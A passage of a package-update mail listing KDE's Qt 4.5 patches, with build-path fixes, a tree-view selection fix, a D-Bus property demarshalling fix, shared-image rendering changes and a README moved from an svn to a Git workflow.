0006-Fix-configure.exe-to-do-an-out-of-source-build-on-wi.patch:
 bin/syncqt             |    6 +++++-
 projects.pro           |    3 +++
 src/tools/moc/main.cpp |    7 ++++++-
 3 files changed, 14 insertions(+), 2 deletions(-)

--- NEW FILE 0006-Fix-configure.exe-to-do-an-out-of-source-build-on-wi.patch ---
>From 8e28e0603a900e1b18ebfd14c4f87b16dabf4cf6 Mon Sep 17 00:00:00 2001
From: Christian Ehrlicher <ch.ehrlicher at gmx.de>
Date: Fri, 19 Sep 2008 17:41:26 +0200
Subject: [PATCH 06/18] Fix configure.exe to do an out-of-source build on windows

qt-bugs@ issue : N227213
Trolltech task ID : none yet
---
 bin/syncqt             |    6 +++++-
 projects.pro           |    3 +++
 src/tools/moc/main.cpp |    6 ++++++
 3 files changed, 14 insertions(+), 1 deletions(-)

diff --git a/bin/syncqt b/bin/syncqt
index 7a9f1d3..b5a8e1c 100755
--- a/bin/syncqt
+++ b/bin/syncqt
@@ -365,9 +365,13 @@ sub fixPaths {
         $match_dir = $tmp;
         $i = $slash;
     }
+    my $cnt_ofs = 0;
+    if($match_dir =~ /^[a-zA-Z]:$/) {
+      $cnt_ofs = 1;
+    }
     if($match_dir) {
         my $after = substr($dir, length($match_dir));
-        my $count = ($after =~ tr,/,,);
+        my $count = ($after =~ tr,/,,) - $cnt_ofs;
         my $dots = "";
         for(my $i = 0; $i < $count; $i++) {
             $dots .= "../";
diff --git a/projects.pro b/projects.pro
index 2596c0a..3ba0688 100644
--- a/projects.pro
+++ b/projects.pro
@@ -127,6 +127,9 @@ unix {
    DEFAULT_QMAKESPEC ~= s,^.*mkspecs/,,g
    mkspecs.commands += $(DEL_FILE) $(INSTALL_ROOT)$$mkspecs.path/default; $(SYMLINK) $$DEFAULT_QMAKESPEC $(INSTALL_ROOT)$$mkspecs.path/default
 }
+win32 {
+   mkspecs.files += $$QT_BUILD_TREE/mkspecs/default
+}
 INSTALLS += mkspecs
 
 false:macx { #mac install location
diff --git a/src/tools/moc/main.cpp b/src/tools/moc/main.cpp
index d519b09..7979836 100644
--- a/src/tools/moc/main.cpp
+++ b/src/tools/moc/main.cpp
@@ -94,7 +94,13 @@ static QByteArray combinePath(const char *infile, const char *outfile)
         inSplitted.prepend(QLatin1String(".."));
     }
     inSplitted.append(inFileInfo.fileName());
+#ifdef Q_WS_WIN
+    const QString rel = inSplitted.join(QLatin1String("/"));
+    const QString abs = inFileInfo.absoluteFilePath();
+    return QFile::encodeName(rel.length() < abs.length() ? rel : abs);
+#else
     return QFile::encodeName(inSplitted.join(QLatin1String("/")));
+#endif
 }
 
 
-- 
1.6.2.5


0007-When-using-qmake-outside-qt-src-tree-it-sometimes-g.patch:
 property.cpp |   30 ++++++++++++++++--------------
 1 file changed, 16 insertions(+), 14 deletions(-)

--- NEW FILE 0007-When-using-qmake-outside-qt-src-tree-it-sometimes-g.patch ---
>From 0afcf33127c6ccbe5dfaae4f4c5e02f28dc10ae1 Mon Sep 17 00:00:00 2001
From: Christian Ehrlicher <ch.ehrlicher at gmx.de>
Date: Thu, 8 May 2008 21:25:49 +0200
Subject: [PATCH 07/18] When using qmake outside qt src tree, it sometimes generates wrong
 paths (wrong path separator)

qt-bugs@ issue : none
Trolltech task ID : 214661
---
 qmake/property.cpp |   29 ++++++++++++++++-------------
 1 files changed, 16 insertions(+), 13 deletions(-)

diff --git a/qmake/property.cpp b/qmake/property.cpp
index 8ba89f9..dd78349 100644
--- a/qmake/property.cpp
+++ b/qmake/property.cpp
@@ -81,29 +81,32 @@ QMakeProperty::keyBase(bool version) const
 QString
 QMakeProperty::value(QString v, bool just_check)
 {
+    QString ret;
     if(v == "QT_INSTALL_PREFIX")
-        return QLibraryInfo::location(QLibraryInfo::PrefixPath);
+        ret = QLibraryInfo::location(QLibraryInfo::PrefixPath);
     else if(v == "QT_INSTALL_DATA")
-        return QLibraryInfo::location(QLibraryInfo::DataPath);
+        ret = QLibraryInfo::location(QLibraryInfo::DataPath);
     else if(v == "QT_INSTALL_DOCS")
-        return QLibraryInfo::location(QLibraryInfo::DocumentationPath);
+        ret = QLibraryInfo::location(QLibraryInfo::DocumentationPath);
     else if(v == "QT_INSTALL_HEADERS")
-        return QLibraryInfo::location(QLibraryInfo::HeadersPath);
+        ret = QLibraryInfo::location(QLibraryInfo::HeadersPath);
     else if(v == "QT_INSTALL_LIBS")
-        return QLibraryInfo::location(QLibraryInfo::LibrariesPath);
+        ret = QLibraryInfo::location(QLibraryInfo::LibrariesPath);
     else if(v == "QT_INSTALL_BINS")
-        return QLibraryInfo::location(QLibraryInfo::BinariesPath);
+        ret = QLibraryInfo::location(QLibraryInfo::BinariesPath);
     else if(v == "QT_INSTALL_PLUGINS")
-        return QLibraryInfo::location(QLibraryInfo::PluginsPath);
+        ret = QLibraryInfo::location(QLibraryInfo::PluginsPath);
     else if(v == "QT_INSTALL_TRANSLATIONS")
-        return QLibraryInfo::location(QLibraryInfo::TranslationsPath);
+        ret = QLibraryInfo::location(QLibraryInfo::TranslationsPath);
     else if(v == "QT_INSTALL_CONFIGURATION")
-        return QLibraryInfo::location(QLibraryInfo::SettingsPath);
+        ret = QLibraryInfo::location(QLibraryInfo::SettingsPath);
     else if(v == "QT_INSTALL_EXAMPLES")
-        return QLibraryInfo::location(QLibraryInfo::ExamplesPath);
+        ret = QLibraryInfo::location(QLibraryInfo::ExamplesPath);
     else if(v == "QT_INSTALL_DEMOS")
-        return QLibraryInfo::location(QLibraryInfo::DemosPath);
-    else if(v == "QMAKE_MKSPECS")
+        ret = QLibraryInfo::location(QLibraryInfo::DemosPath);
+    if(!ret.isEmpty())
+        return QDir::toNativeSeparators(ret);
+    if(v == "QMAKE_MKSPECS")
         return qmake_mkspec_paths().join(Option::target_mode == Option::TARG_WIN_MODE ? ";" : ":");
     else if(v == "QMAKE_VERSION")
         return qmake_version();
@@ -116,7 +119,7 @@ QMakeProperty::value(QString v, bool just_check)
     int slash = v.lastIndexOf('/');
     QVariant var = settings->value(keyBase(slash == -1) + v);
     bool ok = var.isValid();
-    QString ret = var.toString();
+    ret = var.toString();
     if(!ok) {
         QString version = qmake_version();
         if(slash != -1) {
-- 
1.6.2.5


0008-In-a-treeview-with-columns-like-this.patch:
 qtreeview.cpp |    3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

--- NEW FILE 0008-In-a-treeview-with-columns-like-this.patch ---
>From 1ec9dd029abaa0f00798535fdb1722154b1c63f6 Mon Sep 17 00:00:00 2001
From: =?utf-8?q?Rafael=20Fern=C3=A1ndez=20L=C3=B3pez?= <ereslibre at kde.org>
Date: Sun, 26 Oct 2008 10:40:51 +0100
Subject: [PATCH 08/18] In a treeview with columns like this:

Column 1 | Column 2 | ... | Column k | ... | Column n

When selecting with rubberband (by clicking on the blank part of the viewport) while Column k is
hidden, you get double items on the selection model, when asking for selection(). This is becase
ranges are incorrectly calculated when there are hidden columns. A way to reproduce:

Column 1 | Column 2 | Column 4 (Column 3 is hidden)
 item
 item
 item
  x <- press button here and move it up to select items (on this same column)

If you do like this:

Column 1 | Column 2 | Column 4 (Column 3 is hidden)
 item
 item
 item
                         x <- press button here and move it up

you won't be able to reproduce, since you need the hidden column to be between the one you click and
the last one. The reason is that columnRanges returns two ranges when there is supposed to return 1
range (even when there are hidden columns).

qt-bugs@ issue : N232819
Trolltech task ID : 232831
bugs.kde.org number : 171436
---
 src/gui/itemviews/qtreeview.cpp |    2 +-
 1 files changed, 1 insertions(+), 1 deletions(-)

diff --git a/src/gui/itemviews/qtreeview.cpp b/src/gui/itemviews/qtreeview.cpp
index ed6ad03..dc147f2 100644
--- a/src/gui/itemviews/qtreeview.cpp
+++ b/src/gui/itemviews/qtreeview.cpp
@@ -3575,7 +3575,7 @@ QList<QPair<int, int> > QTreeViewPrivate::columnRanges(const QModelIndex &topInd
     current.first = -2; // -1 is not enough because -1+1 = 0
     current.second = -2;
     foreach (int logicalColumn, logicalIndexes) {
-        if (current.second + 1 != logicalColumn) {
+        if (current.second + 1 != logicalColumn && !header->isSectionHidden(current.second + 1)) {
             if (current.first != -2) {
                 //let's save the current one
                 ret += current;
-- 
1.6.2.5


0009-This-patch-fixes-deserialization-of-values-with-cust.patch:
 qdbusinternalfilters.cpp |   17 +++++++++++++++--
 1 file changed, 15 insertions(+), 2 deletions(-)

--- NEW FILE 0009-This-patch-fixes-deserialization-of-values-with-cust.patch ---
>From b274bbaf4768dcfdfcf95ceda08b6402ffedb80d Mon Sep 17 00:00:00 2001
From: George Goldberg <grundleborg at googlemail.com>
Date: Tue, 28 Apr 2009 17:08:07 +0200
Subject: [PATCH 09/18] This patch fixes deserialization of values with custom types when setting
 properties on dbus adaptors. It is needed, in particular by telepathy/Qt
 programs and libraries. The bug was reported to Nokia on 2009-01-07 along
 with the patch supplied here. The summary of the issue from the Qt
 Software task tracker follows:

When calling the setter for a DBus property, if that property has a custom type
(e.g. a struct with dbus type (uss)), QtDBus fails to demarshall the
QDBusArgument before attempting to set the property on the adaptor. The result
is that it attempts to call adaptor->setProperty() with a QDBusArgument of type
"uss" instead of with the type of the custom struct.

qt-bugs@ issue : N240326
Qt Software task ID : 240608
bugs.kde.org number : none
---
 src/dbus/qdbusinternalfilters.cpp |   16 +++++++++++++++-
 1 files changed, 15 insertions(+), 1 deletions(-)

diff --git a/src/dbus/qdbusinternalfilters.cpp b/src/dbus/qdbusinternalfilters.cpp
index c71f2f4..d261d01 100644
--- a/src/dbus/qdbusinternalfilters.cpp
+++ b/src/dbus/qdbusinternalfilters.cpp
@@ -274,9 +274,23 @@ QDBusMessage qDBusPropertySet(const QDBusConnectionPrivate::ObjectTreeNode &node
             QDBusAdaptorConnector::AdaptorMap::ConstIterator it;
             it = qLowerBound(connector->adaptors.constBegin(), connector->adaptors.constEnd(),
                              interface_name);
-            if (it != connector->adaptors.end() && interface_name == QLatin1String(it->interface))
+            if (it != connector->adaptors.end() && interface_name == QLatin1String(it->interface)) {
+                if (value.userType() == qMetaTypeId<QDBusArgument>()) {
+                    QDBusArgument valueArg = qvariant_cast<QDBusArgument>(value);
+                    if (valueArg.currentType() != -1) {
+                        int mid = it->adaptor->metaObject()->property(it->adaptor->metaObject()->indexOfProperty(property_name)).userType();
+                        void *null = 0;
+                        QVariant valueStore(mid, null);
+                        QDBusMetaType::demarshall(valueArg, mid, valueStore.data());
+
+                        if (it->adaptor->setProperty(property_name, valueStore))
+                            return msg.createReply();
+                    }
+                }
+
                 if (it->adaptor->setProperty(property_name, value))
                     return msg.createReply();
+            }
         }
     }
 
-- 
1.6.2.5


0010-Import-README.qt-copy-from-the-original-qt-copy.patch:
 README.kde-qt |  189 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++-
 1 file changed, 188 insertions(+), 1 deletion(-)

--- NEW FILE 0010-Import-README.qt-copy-from-the-original-qt-copy.patch ---
>From 9a3fe8fc4912bf82b791c4131f553c18140ca838 Mon Sep 17 00:00:00 2001
From: Thiago Macieira <thiago at doriath.(none)>
Date: Sun, 21 Jun 2009 13:17:13 -0300
Subject: [PATCH 10/18] Import README.qt-copy from the original qt-copy

---
 README.kde-qt |  188 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 1 files changed, 188 insertions(+), 0 deletions(-)
 create mode 100644 README.kde-qt

diff --git a/README.kde-qt b/README.kde-qt
new file mode 100644
index 0000000..f605a0b
--- /dev/null
+++ b/README.kde-qt
@@ -0,0 +1,188 @@
+This is a copy of Qt version 4.5.1.  It may include
+modifications which are necessary for KDE; these are listed in the
+patches directory.
+
+1. Qt-copy patches
+==================
+
+You may also consider running the apply_patches script before configuring qt-copy,
+which will apply all not yet applied patches from the patches/ directory that
+are considered safe (they mostly include optimizations and features that don't
+add new API). Note that most of those patches haven't been accepted
+by Qt Software yet. and therefore they'll make your qt-copy differ from official
+Qt version.
+
+2. Configuring Qt
+=================
+
+The recommended compile line is:
+
+--default-config-begin--
+./configure -qt-gif -debug -fast -no-exceptions -no-separate-debug-info \
+   -system-libpng -system-libjpeg -system-zlib \
+   -dbus -webkit -no-phonon -plugin-sql-mysql \
+   -nomake examples -nomake demos -prefix <installdir>
+--default-config-end--
+
+It contains "-debug", which greatly improves the use for backtraces (but
+also needs a lot more disk space and makes things slower). To build in
+release mode, replace it with "-release".
+
+It also contains "-no-separate-debug-info", which disables separate .debug
+files. Instead, the debug information will be built into the libraries.
+This option is needed when you install Qt.
+If you don't install Qt, it can be useful to disable this option,
+thus having separate debug symbol files. With separate debug files, you can
+just move those debug files to another directory to remove Qt debug symbols.
+Moving the files back will enable Qt debug symbols again.
+This is useful if you rarely need to step into Qt functions during debugging,
+because GDB loads much faster and uses less memory without Qt debug symbols.
+In the rare case you need to step into Qt code, you can temporarily enable
+debug symbols again by moving the debug files back. You can even load the Qt
+debug symbols from within GDB on demand, using the "symbol-file" command.
+
+It also contains the "-no-exceptions" argument, which disables C++
+exception support. Disabling exception support may improve memory
+consumption if GCC is being used. However, that also disables the
+QtXmlPatterns module since that requires exception support. If you
+plan on using that module, remove the option.
+
+If you are planning to compile Qt using an Icecream cluster you have to
+pass the option -no-pch (no precompiled headers) to configure to make
+distributed compilation work.
+
+3. Compiling Qt
+===============
+
+To compile Qt on a Unix platform, run:
+
+   export MAKEFLAGS=-j2
+   make
+   make install
+
+If your computer has more than one core or processor, you may consider
+increasing the "2" above. If you've got a compile farm available, you
+should adjust the -j argument to match the number of slots in that
+farm.
+
+4. Modifying & rebuilding Qt
+============================
+
+If you make modifications to the Qt source code, you don't need to
+build everything again. Simply go to the directory containing the
+Makefile closest to the files you changed and run "make" again.
+
+For example, if you modified src/corelib/io/qiodevice.cpp, do:
+
+   cd src/corelib
+   make
+
+Do not commit your modifications to qt-copy as such. If you have a fix
+that benefit others, see the "Creating Qt-copy patches" section below.
+
+5. Building Qt examples and demos
+=================================
+
+The "-nomake examples -nomake demos" arguments to the configure script
+mean that those two sections will not be configured for
+building. Which is unneeded for usage of the library.  If you want to
+compile the examples or demos later; just enter either directory and
+type:
+
+   qmake
+   make
+
+6. Building Qt documentation (only applies to Snapshot versions of Qt)
+============================
+
+To build and install the documentation, run:
+
+   make docs
+   ./config.status
+   make install
+
+It is necessary to do this once only, even if you rebuild Qt later.
+
+7. Using Qt uninstalled
+=======================
+
+To use without having to install it, configure it as follows:
+
+   ./configure <other configure options>  -prefix $PWD
+   make sub-src
+   make sub-tools
+
+Attention: DO NOT run
+
+   make install
+
+If you do, Qt will overwrite your include/ directory with its
+installation.
+
+8. Creating Qt-copy patches
+===========================
+
+If you have fixed a bug in Qt or modified it in any way that may
+benefit others, please share your change in the form of a patch. Do
+not commit your changes directly to the qt-copy module because they
+may be lost in a future update if they have not been added to the
+official Qt release.
+
+The exception to the above rule is that if the fix has been accepted
+by Qt Software (and so will appear in the next release of Qt), then
+it can be applied directly to qt-copy.  In this case, the patch
+should still be placed in patches/ as usual, but it should have a
+header line
+    Applied: yes
+
+Before creating a patch, it is recommended to contact Qt Software
+support via qt-bugs at trolltech.com and explain the situation. There may
+be a solution for the problem already or a new direction that should
+be accounted for.
+
+To create a patch, do the following:
+  a) make sure your Qt sources are clean of other changes. Run:
+     svn revert -R .
+  b) make your changes to the Qt source code and verify that it
+  compiles, links and works.
+  c) open the patches/README file and get the next patch number
+  (you must read and understand the README file; if you don't, ask for
+  help from other KDE developers)
+  d) create the patch with:
+     svn diff > patches/NNNN-short-description-of-your-patch.diff
+  where NNNN is the next available number.
+  e) open the file you've just created and add the header to it. The
+  header should be the template in patches/README followed by a longer
+  description of your patch.
+
+Don't forget to submit your patch to qt-bugs at trolltech.com along with
+the long description of the issue found, if you haven't already.
+Qt Software does not monitor the patches/ directory, so qt-copy
+patches do not get automatically applied to Qt official releases.
+
+When you receive the issue number and task tracker numbers, update the
+patch file.
+
+9. Known issues with current Qt code
+====================================
+
+In case you have strange issues with non-resizing windows and similar, use
+   export QT_USE_NATIVE_WINDOWS=1
+before starting KDE.
+
+10. Troubleshooting: Re-configuring and re-compiling
+===================================================
+
+For those updating the source in a directory where Qt has already
+been compiled, you may need to run the following commands from the
+top directory of your Qt sources:
+
+	find . -name '*.moc' | xargs rm
+
+Sometimes ./configure will refuse to run.  You may need to:
+	rm .qmake.cache
+
+If you think you may have run "make install" on an install-less Qt
+(srcdir == $QTDIR), run:
+
+	svn revert -R include
-- 
1.6.2.5


0011-Update-this-file-to-reflect-the-workflow-with-Git-a.patch:
 README.kde-qt |  164 +++++++++++++++++++++++++++++++---------------------------
 1 file changed, 88 insertions(+), 76 deletions(-)

--- NEW FILE 0011-Update-this-file-to-reflect-the-workflow-with-Git-a.patch ---
>From 39b24a10e4dee27357b9760b735c2ab98b132963 Mon Sep 17 00:00:00 2001
From: Thiago Macieira <thiago at doriath.(none)>
Date: Sun, 21 Jun 2009 13:46:54 -0300
Subject: [PATCH 11/18] Update this file to reflect the workflow with Git, as well as use Git commands

---
 README.kde-qt |  163 +++++++++++++++++++++++++++++++--------------------------
 1 files changed, 88 insertions(+), 75 deletions(-)

diff --git a/README.kde-qt b/README.kde-qt
index f605a0b..db3feb6 100644
--- a/README.kde-qt
+++ b/README.kde-qt
@@ -1,27 +1,20 @@
-This is a copy of Qt version 4.5.1.  It may include
-modifications which are necessary for KDE; these are listed in the
-patches directory.
+This is a patched version of Qt.  It may include changes made by KDE
+and Qt developers that have either not been accepted for inclusion
+into Qt, or have been accepted for a later version of Qt than this
+one.
 
-1. Qt-copy patches
-==================
-
-You may also consider running the apply_patches script before configuring qt-copy,
-which will apply all not yet applied patches from the patches/ directory that
-are considered safe (they mostly include optimizations and features that don't
-add new API). Note that most of those patches haven't been accepted
-by Qt Software yet. and therefore they'll make your qt-copy differ from official
-Qt version.
-
-2. Configuring Qt
+1. Configuring Qt
 =================
 
 The recommended compile line is:
 
 --default-config-begin--
-./configure -qt-gif -debug -fast -no-exceptions -no-separate-debug-info \
-   -system-libpng -system-libjpeg -system-zlib \
-   -dbus -webkit -no-phonon -plugin-sql-mysql \
-   -nomake examples -nomake demos -prefix <installdir>
+
+  ./configure -qt-gif -debug -fast -no-separate-debug-info \
+     -system-libpng -system-libjpeg -system-zlib \
+     -dbus -webkit -plugin-sql-mysql \
+     -nomake examples -nomake demos -prefix <installdir>
+
 --default-config-end--
 
 It contains "-debug", which greatly improves the use for backtraces (but
@@ -31,6 +24,7 @@ release mode, replace it with "-release".
 It also contains "-no-separate-debug-info", which disables separate .debug
 files. Instead, the debug information will be built into the libraries.
 This option is needed when you install Qt.
+
 If you don't install Qt, it can be useful to disable this option,
 thus having separate debug symbol files. With separate debug files, you can
 just move those debug files to another directory to remove Qt debug symbols.
@@ -41,17 +35,11 @@ In the rare case you need to step into Qt code, you can temporarily enable
 debug symbols again by moving the debug files back. You can even load the Qt
 debug symbols from within GDB on demand, using the "symbol-file" command.
 
-It also contains the "-no-exceptions" argument, which disables C++
-exception support. Disabling exception support may improve memory
-consumption if GCC is being used. However, that also disables the
-QtXmlPatterns module since that requires exception support. If you
-plan on using that module, remove the option.
-
 If you are planning to compile Qt using an Icecream cluster you have to
 pass the option -no-pch (no precompiled headers) to configure to make
 distributed compilation work.
 
-3. Compiling Qt
+2. Compiling Qt
 ===============
 
 To compile Qt on a Unix platform, run:
@@ -65,34 +53,49 @@ increasing the "2" above. If you've got a compile farm available, you
 should adjust the -j argument to match the number of slots in that
 farm.
 
-4. Modifying & rebuilding Qt
+3. Modifying & rebuilding Qt
 ============================
 
 If you make modifications to the Qt source code, you don't need to
 build everything again. Simply go to the directory containing the
 Makefile closest to the files you changed and run "make" again.
 
-For example, if you modified src/corelib/io/qiodevice.cpp, do:
+For example, if you've modified src/corelib/io/qiodevice.cpp, do:
 
    cd src/corelib
    make
 
-Do not commit your modifications to qt-copy as such. If you have a fix
-that benefit others, see the "Creating Qt-copy patches" section below.
+If you make a change that is not temporary, you should create a Git
+commit out of it. However, you shouldn't push those changes to
+kde-qt.git. If you have a fix that benefit others, see the "Creating
+kde-qt.git modifications" section below.
 
-5. Building Qt examples and demos
+4. Building Qt examples and demos
 =================================
 
 The "-nomake examples -nomake demos" arguments to the configure script
-mean that those two sections will not be configured for
-building. Which is unneeded for usage of the library.  If you want to
-compile the examples or demos later; just enter either directory and
-type:
+mean that those two sections will not be configured for building,
+which is unneeded for usage of the library.  If you want to compile
+the examples or demos later, just enter either directory and type:
 
    qmake
    make
 
-6. Building Qt documentation (only applies to Snapshot versions of Qt)
+5. Build Qt tests
+=================
+
+(Official information: http://qt.gitorious.org/qt/pages/QtAutotestsEnvironment)
+
+In order to run Qt tests, you must have a "developer build" of Qt. For
+that, you need to reconfigure Qt and add the "-developer-build"
+option. That option is technically equivalent to the options:
+
+   -debug -prefix $PWD -DQT_BUILD_INTERNAL
+
+To run a test, go to its source dir in tests/auto/testname. Type
+"make" to build it, then run it (either ./tst_testname, or "make install").
+
+6. Building Qt documentation
 ============================
 
 To build and install the documentation, run:
@@ -119,21 +122,25 @@ Attention: DO NOT run
 If you do, Qt will overwrite your include/ directory with its
 installation.
 
-8. Creating Qt-copy patches
-===========================
+8. Creating kde-qt.git modifications
+====================================
 
 If you have fixed a bug in Qt or modified it in any way that may
 benefit others, please share your change in the form of a patch. Do
-not commit your changes directly to the qt-copy module because they
+not commit your changes directly to the main branch because they
 may be lost in a future update if they have not been added to the
 official Qt release.
 
 The exception to the above rule is that if the fix has been accepted
-by Qt Software (and so will appear in the next release of Qt), then
-it can be applied directly to qt-copy.  In this case, the patch
-should still be placed in patches/ as usual, but it should have a
-header line
-    Applied: yes
+by Qt Software (and so will appear in the very next release of Qt),
+then it should be simply cherry-picked from the Qt development
+branch. Note that you shouldn't do this for changes that have been
+accepted into a release which is not the very next.
+In this case, you should use the following command:
+
+   git cherry-pick -x SHA1_OF_THE_FIX
+where SHA1_OF_THE_FIX is the SHA-1 of the commit that you want to
+introduce. Then push the change to the server.
 
 Before creating a patch, it is recommended to contact Qt Software
 support via qt-bugs at trolltech.com and explain the situation. There may
@@ -141,37 +148,42 @@ be a solution for the problem already or a new direction that should
 be accounted for.
 
 To create a patch, do the following:
-  a) make sure your Qt sources are clean of other changes. Run:
-     svn revert -R .
-  b) make your changes to the Qt source code and verify that it
-  compiles, links and works.
-  c) open the patches/README file and get the next patch number
-  (you must read and understand the README file; if you don't, ask for
-  help from other KDE developers)
-  d) create the patch with:
-     svn diff > patches/NNNN-short-description-of-your-patch.diff
-  where NNNN is the next available number.
-  e) open the file you've just created and add the header to it. The
-  header should be the template in patches/README followed by a longer
-  description of your patch.
-
-Don't forget to submit your patch to qt-bugs at trolltech.com along with
-the long description of the issue found, if you haven't already.
-Qt Software does not monitor the patches/ directory, so qt-copy
-patches do not get automatically applied to Qt official releases.
-
-When you receive the issue number and task tracker numbers, update the
-patch file.
-
-9. Known issues with current Qt code
-====================================
-
-In case you have strange issues with non-resizing windows and similar, use
-   export QT_USE_NATIVE_WINDOWS=1
-before starting KDE.
-
-10. Troubleshooting: Re-configuring and re-compiling
-===================================================
+  a) look at the listing of branches in
+  http://qt.gitorious.org/+kde-developers/qt/kde-qt/commits/HEAD and
+  select the next number.
+
+  b) create a new branch out of a clean, released version of Qt, (for
+  example, 4.5.1), using the number above and a brief description of
+  your fix. For example:
+      git checkout -b patches/0180-window-role v4.5.1
+  You can see the available released versions of Qt with:
+      git tag
+
+  c) make your changes to the Qt source code and verify that it
+  compiles, links and works (please run the respective unit tests).
+
+  c) commit your changes to Git, using the "git commit" command. Please
+  see http://qt.gitorious.org/qt/pages/GitIntroductionWithQt and
+  http://qt.gitorious.org/qt/pages/QtCodingStyle for information on
+  how to create commits
+  Note that you can create multiple commits.
+
+  e) merge the change to the main branch, for example, 4.5.1-patched:
+      git checkout 4.5.1-patched
+      git merge patches/0180-window-role
+
+  f) push the changes you made to your branch and to the main server:
+      git push git at gitorious.org:qt/kde-qt.git 4.5.1-patched patches/0180-window-role
+  (Don't forget to list both branch names)
+
+Don't forget to submit your patch to using the Qt Contribution Model,
+along with the long description of the issue found. See
+http://qt.gitorious.org/qt/pages/QtContributionGuidelines for
+information how. You can submit the branch you've just sent to the
+server.
+
+9. Troubleshooting: Re-configuring and re-compiling
+==================================================
 
 For those updating the source in a directory where Qt has already
 been compiled, you may need to run the following commands from the
@@ -185,4 +197,5 @@ Sometimes ./configure will refuse to run.  You may need to:
 If you think you may have run "make install" on an install-less Qt
 (srcdir == $QTDIR), run:
 
-	svn revert -R include
+	rm -rf include
+	bin/syncqt
-- 
1.6.2.5


0012-This-patch-makes-the-raster-graphics-system-use-shar.patch:
 image/qnativeimage.cpp             |   10 ----------
 image/qnativeimage_p.h             |    1 -
 painting/qwindowsurface_raster.cpp |   14 ++++++++++----
 3 files changed, 10 insertions(+), 15 deletions(-)

--- NEW FILE 0012-This-patch-makes-the-raster-graphics-system-use-shar.patch ---
>From 8731ab999b849dac4716e3d29f5f55ed8e56438e Mon Sep 17 00:00:00 2001
From: Thiago Macieira <thiago.macieira at nokia.com>
Date: Thu, 25 Jun 2009 13:50:29 +0200
Subject: [PATCH 12/18] This patch makes the raster graphics system use shared images instead
 of shared pixmaps.

Shared memory pixmaps are deprecated since they are slower than shared
images with modern graphics hardware. They are also not supported by EXA
drivers and can be disabled in the latest version of the NVidia driver.

qt-bugs@ issue : none
Qt Software task ID : none
bugs.kde.org number : none
---
 src/gui/image/qnativeimage.cpp             |   10 ----------
 src/gui/image/qnativeimage_p.h             |    1 -
 src/gui/painting/qwindowsurface_raster.cpp |   13 ++++++++++---
 3 files changed, 10 insertions(+), 14 deletions(-)

diff --git a/src/gui/image/qnativeimage.cpp b/src/gui/image/qnativeimage.cpp
index 3745708..3c21fce 100644
--- a/src/gui/image/qnativeimage.cpp
+++ b/src/gui/image/qnativeimage.cpp
@@ -147,7 +147,6 @@ QNativeImage::QNativeImage(int width, int height, QImage::Format format,bool /*
 {
     if (!X11->use_mitshm) {
         xshmimg = 0;
-        xshmpm = 0;
         image = QImage(width, height, format);
         return;
     }
@@ -191,11 +190,6 @@ QNativeImage::QNativeImage(int width, int height, QImage::Format format,bool /*
             shmctl(xshminfo.shmid, IPC_RMID, 0);
         return;
     }
-    xshmpm = XShmCreatePixmap(X11->display, DefaultRootWindow(X11->display), xshmimg->data,
-                              &xshminfo, width, height, dd);
-    if (!xshmpm) {
-        qWarning() << "QNativeImage: Unable to create shared Pixmap.";
-    }
 }
 
 
@@ -204,10 +198,6 @@ QNativeImage::~QNativeImage()
     if (!xshmimg)
         return;
 
-    if (xshmpm) {
-        XFreePixmap(X11->display, xshmpm);
-        xshmpm = 0;
-    }
     XShmDetach(X11->display, &xshminfo);
     xshmimg->data = 0;
     XDestroyImage(xshmimg);
diff --git a/src/gui/image/qnativeimage_p.h b/src/gui/image/qnativeimage_p.h
index 07d5dfe..ba01854 100644
--- a/src/gui/image/qnativeimage_p.h
+++ b/src/gui/image/qnativeimage_p.h
@@ -90,7 +90,6 @@ public:
 
 #elif defined(Q_WS_X11) && !defined(QT_NO_MITSHM)
     XImage *xshmimg;
-    Pixmap xshmpm;
     XShmSegmentInfo xshminfo;
 
 #elif defined(Q_WS_MAC)
diff --git a/src/gui/painting/qwindowsurface_raster.cpp b/src/gui/painting/qwindowsurface_raster.cpp
index d6fb03b..09963d9 100644
--- a/src/gui/painting/qwindowsurface_raster.cpp
+++ b/src/gui/painting/qwindowsurface_raster.cpp
@@ -220,9 +220,16 @@ void QRasterWindowSurface::flush(QWidget *widget, const QRegion &rgn, const QPoi
 
     QRect br = rgn.boundingRect().translated(offset);
 #ifndef QT_NO_MITSHM
-    if (d_ptr->image->xshmpm) {
-        XCopyArea(X11->display, d_ptr->image->xshmpm, widget->handle(), d_ptr->gc,
-                  br.x(), br.y(), br.width(), br.height(), wbr.x(), wbr.y());
+    if (d_ptr->image->xshmimg && (br.width() * br.height() > 65536)) {
+        const QImage &src = d->image->image;
+        br = br.intersected(src.rect());
+        // Hack to make sure we satisify the PutImage() constraints in the X server,
+        // since the doShmPutImage() route currently forces a migration to system ram.
+        wbr.setX(wbr.x() - br.x());
+        br.setX(0);
+        br.setWidth(src.width());
+        XShmPutImage(X11->display, widget->handle(), d_ptr->gc, d_ptr->image->xshmimg,
+                     br.x(), br.y(), wbr.x(), wbr.y(), br.width(), br.height(), False);
         XSync(X11->display, False);
     } else
 #endif
-- 
1.6.2.5


0013-Restore-a-section-of-the-file-that-got-removed-due-t.patch:
 qapplication_x11.cpp |    7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

--- NEW FILE 0013-Restore-a-section-of-the-file-that-got-removed-due-t.patch ---
>From bb8255da422470c5012b6b1c4c24eb2afb6804dc Mon Sep 17 00:00:00 2001
From: Thiago Macieira <thiago.macieira at nokia.com>
Date: Fri, 26 Jun 2009 11:41:45 +0200
Subject: [PATCH 13/18] Restore a section of the file that got removed due to conflict resolution.

Thanks to Kevin Kofler for pointing this out
---
 src/gui/kernel/qapplication_x11.cpp |    6 +++---
 1 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/src/gui/kernel/qapplication_x11.cpp b/src/gui/kernel/qapplication_x11.cpp
index 33aec9e..53f020b 100644
--- a/src/gui/kernel/qapplication_x11.cpp
+++ b/src/gui/kernel/qapplication_x11.cpp
@@ -1955,9 +1955,9 @@ void qt_init(QApplicationPrivate *priv, int,
             bool local = displayName.isEmpty() || displayName.lastIndexOf(QLatin1Char(':')) == 0;
             if (local && (qgetenv("QT_X11_NO_MITSHM").toInt() == 0)) {
                 Visual *defaultVisual = DefaultVisual(X11->display, DefaultScreen(X11->display));
-                X11->use_mitshm = mitshm_pixmaps && (defaultVisual->red_mask == 0xff0000
-                                                     && defaultVisual->green_mask == 0xff00
-                                                     && defaultVisual->blue_mask == 0xff);
